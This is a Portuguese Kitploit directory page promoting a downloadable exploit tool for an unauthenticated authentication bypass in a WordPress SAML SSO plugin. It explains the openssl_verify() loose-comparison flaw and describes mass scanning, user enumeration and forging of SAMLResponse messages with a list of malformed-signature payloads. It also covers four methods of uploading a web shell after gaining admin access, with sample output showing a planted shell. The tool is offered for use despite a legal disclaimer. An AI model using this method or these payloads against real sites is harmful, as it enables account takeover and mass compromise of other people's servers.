Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/nxploited/cve-2026-15981
Autenticação e AutorizaçãoGeração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de Penetração
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Bypass de Autenticação Não Autenticado via Parâmetro SAMLResponse

Ver Repositório
4há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Bypass de Autenticação Não Autenticado via Parâmetro SAMLResponse

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — Bypass de Autenticação Não Autenticado

Exploit de Prova de Conceito
Assinatura Malformada → `openssl_verify()` retorna `-1` → conversão frouxa do PHP para `true` → `wp_set_auth_cookie()` como Administrador


Visão Geral da Vulnerabilidade

Descrição

O plugin SAML Single Sign On – SSO Login para WordPress é vulnerável a Bypass de Autenticação em todas as versões até, e incluindo, 5.4.4. Isso se deve ao fato de a função mo_saml_validate_signature() realizar uma verificação booleana frouxa no inteiro bruto de três estados retornado por openssl_verify() do PHP, fazendo com que um valor de retorno de erro de -1 seja avaliado como verdadeiro e, portanto, tratado como uma verificação de assinatura bem-sucedida.

Isso torna possível que atacantes não autenticados façam login como qualquer usuário existente do WordPress, incluindo administradores, ao enviar um SAMLResponse especialmente criado contendo um NameID controlado pelo atacante e um valor de assinatura deliberadamente malformado que dispara um erro de processamento do OpenSSL — ignorando a verificação por completo e resultando na chamada de wp_set_auth_cookie() para a conta visada.

Causa Raiz

root@kitploit:~
Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

A correção é trivial — if ($result === 1) em vez de if ($result) — mas o impacto da falha é o bypass total de autenticação.


Recursos

  • Varredura em massa de múltiplos alvos — processamento concorrente de listas de alvos
  • Fingerprinting completo do WordPress — confirma o WordPress antes de prosseguir
  • Detecção do plugin e verificação de versão — identifica o miniOrange SAML SSO e valida a versão ≤ 5.4.4
  • Descoberta de metadados do SP — extrai o Entity ID e a URL ACS de ?option=mosaml_metadata
  • Enumeração abrangente de usuários:
    • WP REST API (/wp-json/wp/v2/users)
    • Consultas REST por ID (IDs 1–10)
    • Redirecionamentos de arquivo de autor (/?author=N)
    • Correspondência de padrões no corpo do HTML
    • Fallback baseado em domínio + nomes comuns de administrador
  • Descoberta de emissor IdP — segue redirecionamentos de ?option=saml_user_login e extrai URLs base do IdP
  • Mecanismo de falsificação de SAMLResponse:
    • Canonicalização Exclusive C14N adequada via lxml
    • Cálculo correto do Digest (SHA-1/SHA-256/SHA-384/SHA-512)
    • Injeção do elemento de assinatura após </Issuer> conforme a especificação SAML
    • 12+ payloads de assinatura malformados projetados para acionar openssl_verify() = -1
    • Itera usuários × emissores × algoritmos × assinaturas × flags de audiência × Entity IDs do SP
  • Verificação de sessão — verifica o cookie após cada tentativa

Requisitos

root@kitploit:~
Python >= 3.8
root@kitploit:~
pip install requests lxml

lxml é necessário para a canonicalização Exclusive C14N adequada da Assertion SAML.


Uso

root@kitploit:~
python CVE-2026-15981.py

Você será solicitado a informar:

PromptDescriçãoPadrão
Arquivo de alvosCaminho para um arquivo de texto com um alvo por linhalist.txt
ThreadsNúmero de workers concorrentes (1–100)5

Formato do Arquivo de Alvos

root@kitploit:~
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

Uma URL por linha. HTTP é usado por padrão se nenhum esquema for especificado.


Saída

Terminal

root@kitploit:~
  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

Cada alvo progride por 7 estágios rotulados:

root@kitploit:~
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

Arquivos de Resultado

ArquivoConteúdo
sms.txtUma linha por sessão de administrador confirmada — timestamp, alvo, usuário, cookie, URL do shell, emissor, método de assinatura
sms_debug.jsonJSON de diagnóstico completo para cada alvo — incluindo contagens de tentativas e classificações de falha

Formato da Linha de Resultado

root@kitploit:~
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

Resumo

root@kitploit:~
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

Pipeline de Exploração

root@kitploit:~
Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)

Payloads de Assinatura Malformados

O exploit inclui 12+ payloads de assinatura especificamente criados para acionar openssl_verify() = -1:

Cada um é combinado com URIs de algoritmo SHA-1 e SHA-256, e testado com/sem restrição de Audience, em vários Entity IDs do SP — maximizando a chance de atingir o caminho de retorno -1 em qualquer versão do OpenSSL.


Aviso Legal

Esta ferramenta é fornecida estritamente para testes de segurança autorizados e fins de pesquisa educacional. Use-a apenas em sistemas que você possua ou para os quais tenha autorização escrita explícita para testar.

O acesso não autorizado a sistemas de computador é crime. O autor não assume nenhuma responsabilidade por uso indevido, danos ou quaisquer consequências legais decorrentes do uso deste software. Você é o único responsável por garantir a conformidade com todas as leis e regulamentos aplicáveis em sua jurisdição.


Por: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

Baixar ferramenta
CampoDetalhe
ID CVECVE-2026-15981
Plugin AfetadominiOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
Versões AfetadasTodas as versões até 5.4.4, inclusive
TipoBypass de Autenticação Não Autenticado
CWECWE-287: Autenticação Incorreta / CWE-305: Bypass de Autenticação por Fraqueza Primária
CVSS 3.19.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticaçãoNenhuma necessária
wordpress_logged_in_*
  • Confirmação do papel de administrador — verifica o acesso a /wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php
  • Extração de perfil — lê nome de usuário e e-mail de /wp-admin/profile.php
  • 4 métodos de upload de shell após sessão de administrador:
    • M1 — Upload de ZIP de plugin via plugin-install.php
    • M2 — Upload de plugin via REST API por /wp-json/wp/v2/plugins
    • M3 — Gravação de arquivo no editor de Tema/Plugin
    • M4 — Upload assíncrono de mídia
  • Verificação de execução do shell — confirma a assinatura Nx-zD no corpo da resposta
  • Mecanismo de diagnóstico — classifica os motivos de falha (DIGEST_FAIL, ISSUER, AUDIENCE, TIME, etc.)
  • Saída JSON de depuração — log de diagnóstico completo por alvo para análise
  • PayloadDescrição
    0xFF * 256256 bytes de 0xFF — padding PKCS#1 inválido
    0xFF * 384384 bytes para tamanhos de chave RSA-3072
    0xFF * 512512 bytes para tamanhos de chave RSA-4096
    0xFF * 128Buffer mais curto para tamanhos de chave menores
    0xFF * 64Padding inválido mínimo
    0x00 0x01 0xFF*254Parece PKCS#1 v1.5, mas com estrutura incorreta
    0x00 0x01 0xFF*126Estrutura semelhante a PKCS#1 mais curta
    null_2BDois bytes adjacentes a nulo
    rand_3B / rand_7BBytes aleatórios — aciona erros de análise
    asn1_badSequência ASN.1 DER malformada
    ff_1BUm único byte 0xFF